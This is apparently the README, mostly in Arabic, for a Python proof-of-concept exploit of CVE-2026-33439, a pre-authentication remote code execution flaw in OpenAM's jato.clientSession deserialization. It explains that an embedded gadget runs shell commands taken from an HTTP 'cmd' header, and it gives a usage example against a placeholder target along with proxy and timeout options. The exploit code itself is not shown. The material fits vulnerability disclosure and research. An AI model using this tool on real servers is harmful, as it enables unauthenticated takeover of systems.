CVE-2026-33439 Python PoC

إثبات مفهوم Python مستقل لثغرة تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في OpenAM ضمن إلغاء تسلسل jato.clientSession.

تقرأ أداة Click/Xalan المضمّنة والمظللة أمر shell من ترويسة HTTP باسم cmd وتعيد مخرجاته في استجابة HTTP. لا حاجة إلى حزم Python خارجية أو بيئة تشغيل Java أو ملفات JAR.

الاستخدام

python3 exploit.py \
  --url https://target.example/openam/ui/PWResetUserValidation \
  'id'

وسائط اختيارية:

--timeout SECONDS     Request timeout (default: 15)
--proxy URL           HTTP proxy, for example http://127.0.0.1:8080
--verify-tls          Enable TLS certificate verification

المراجع

• OpenAM security advisory GHSA-2cqq-rpvq-g5qj
• CVE-2026-33439